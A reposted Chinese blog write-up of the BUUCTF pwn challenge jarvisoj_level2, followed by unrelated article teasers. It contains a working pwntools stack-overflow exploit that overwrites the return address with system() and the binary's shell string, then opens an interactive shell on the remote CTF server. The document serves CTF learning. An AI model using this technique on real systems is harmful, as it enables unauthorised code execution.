BUUCTF-PWN-jarvisoj_level2

news/2025/2/21 18:36:12/文章来源:https://www.cnblogs.com/ylin07/p/18719485

这道题对我来说有点新奇,它利用了程序中自带的system程序,和字符/bin/bash构造了一个后门函数让我们看看是怎么做的吧
首先和程序进行交互:

发现是一个读取输入相关的程序,我们对其进行分析,首先用checksec检测到了NX保护,但是没关系。我们再用IDA进行程序的分析:

我们看到了这里的read函数,由于它读取的数据大于,缓冲区可以存储的数据,我们可以利用它实现栈溢出攻击
但是程序中并没有为我们构造后门函数,但是我们分别发现了系统调用命令,和hint,我们可以用他们实现构造后门函数
我的构造思路大致是这样的:

  • 栈溢出覆盖原函数返回地址
  • 添加system的返回地址
  • 调用hint命令/bin/bash
    由此我们可以构造下面的攻击脚本:
from pwn import *
sys_addr = 0x804845C
bin_addr = 0x804A024
payload = b'a'*(0x88+4)+p32(sys_addr)+p32(bin_addr)
p = remote("node5.buuoj.cn",25717)
p.recvuntil('t:\n')  #当服务器输出以下内容时,再发送攻击脚本
p.sendline(payload)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/885412.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

推荐一个DeepSeek 大模型的免费 API 项目!兼容OpenAI接口!

在AI技术飞速发展的今天,大语言模型(LLM)的应用越来越广泛,但高昂的使用成本常常让个人开发者和小型团队望而却步。今天,我要为大家介绍一个非常实用的开源项目——DeepSeek-Free-API,它能够让你免费接入DeepSeek大模型,轻松实现各种AI功能。 1、项目简介 DeepSeek-Free…

Deepseek+Cherry Studio,打造便利的AI大模型使用体验

1、Cherry Studio 下载 官网下载地址:https://cherry-ai.com GitHub地址:https://github.com/kangfenmao/c2. 导入大模型IPA,开始使用 2.1 在线模型设置 在Cherry Studio中,可以接入自己使用的大语言模型API,点击设置,填入API密钥与API地址就可以。 下面以硅基流动为例进…

ATG1E BBQ Hard 学习笔记

ATG1E BBQ Hard 学习笔记 Luogu Link 题意简述 计算 $$\sum_{i=1}^n \sum_{j=i+1}^n \dbinom{a_i+b_i+a_j+b_j}{a_i+a_j}$$ 的值。答案对 \(10^9+7\) 取模。 \(N\le 2\times 10^5,a_i,b_i\le 2\times 10^3\)。 做法解析 \(O(N^2)\) 的做法是暴力枚举 \(i,j\),\(O(1)\) 计算出 …

【VMware vSphere】扩容或缩减 vCenter Server 的磁盘空间大小。

我们在部署 vCenter Server 时,根据不同环境的情况,可以选择不同的部署选项,比如环境中的主机可能运行了 100 个,或者虚拟机运行了 1000 个,此时按照官方推荐的选择“小型环境”部署选项即可满足需求;如果主机超过了 100 个,可能在 1000 个以内,或者虚拟机超过了 1000 …

day:3软件测试分类

一、按开发阶段划分 (1)单元测试 (2)集成测试 (3)系统测试 (4)集成测试 二、按查看代码分类 (1)黑盒测试 定义:是一种功能测试,测试中把测试的软件当成一个盒子,不关心盒子内部结构是什么,只关心软件的输入和输出。 例如:一个计算器,输入:1+1 输出:2,正确;…

活动管理神器来袭!板栗看板让你告别繁琐,拥抱高效

变革模型与项目管理工具的结合运用可以形成一个系统化、高效化的变革管理体系。通过明确变革需求与目标、执行变革计划、评估与反馈以及持续优化改进等步骤,可以确保变革的顺利实施和成功落地。项目管理中的变革模型是指一系列指导和管理组织内部变革过程的框架和方法。这些模…

劲爆!微信宣布接入 DeepSeek R1!!

大家好,我是R哥。 太劲爆了,连浓眉大眼的微信现在也接入了 DeepSeek,但还在还处于灰度测试阶段,入口比较隐蔽,要从搜索框下面的「AI 搜索」按钮进去。 如图所示:对于微信这么大一个国民级产品来说,在搜索领域引入 AI,肯定是看中了搜索入口的重要性,接入 DeepSeek 不仅…

懒人福音!一款基于 Go 实现的 Docker 终端管理工具!

lazydocker —— 一个基于 Go 编写实现的终端 Docker 管理 UI 工具,为用户提供了一种更直观、便捷的方式来管理 Docker 容器、镜像、数据卷、网络等资源。大家好,我是 Java陈序员。 之前给大家介绍一个在线的 Docker 可视化管理面板。 运维神器!Docker 可视化管理面板! 今天…

专利线框图绘制和导出,从Blender到3ds max

Blender软件设计3维的模型简单好用, 但是它生成的线框图线条太多,不符合专利要求,如下图: 我的方法是导出fbx格式模型,用下面教程里的方法生成线框图,最后用ps处理了一下, https://www.bilibili.com/video/BV1Bz421o7tq/?spm_id_from=333.337.search-card.all.click&a…

如何安全高效地实现云租户之间文件传输,优化业务效率?

基于提高运营效率、降低成本、增强灵活性和创新性等多方面考,越来越多的企业选择将业务和数据迁移到云端,因此会产生云租户之间文件传输的场景。云租户之间文件传输时可能会面临以下问题: 1.安全性:数据传输过程中可能存在安全隐患,如数据泄露、窃听或篡改等问题,也可能。…

为什么说在企业级应用开发中,后端往往是效率杀手?

大家好,我是张飞洪,感谢您的阅读,我会不定期和你分享学习心得,希望我的文章能成为你成长路上的垫脚石,让我们一起精进。在企业级应用开发中,如果你们团队人员是前后端分离的,你会发现联调让人很不省心,可以说往往是效率杀手,而提供联调的API一般由后端人员提供,为什么…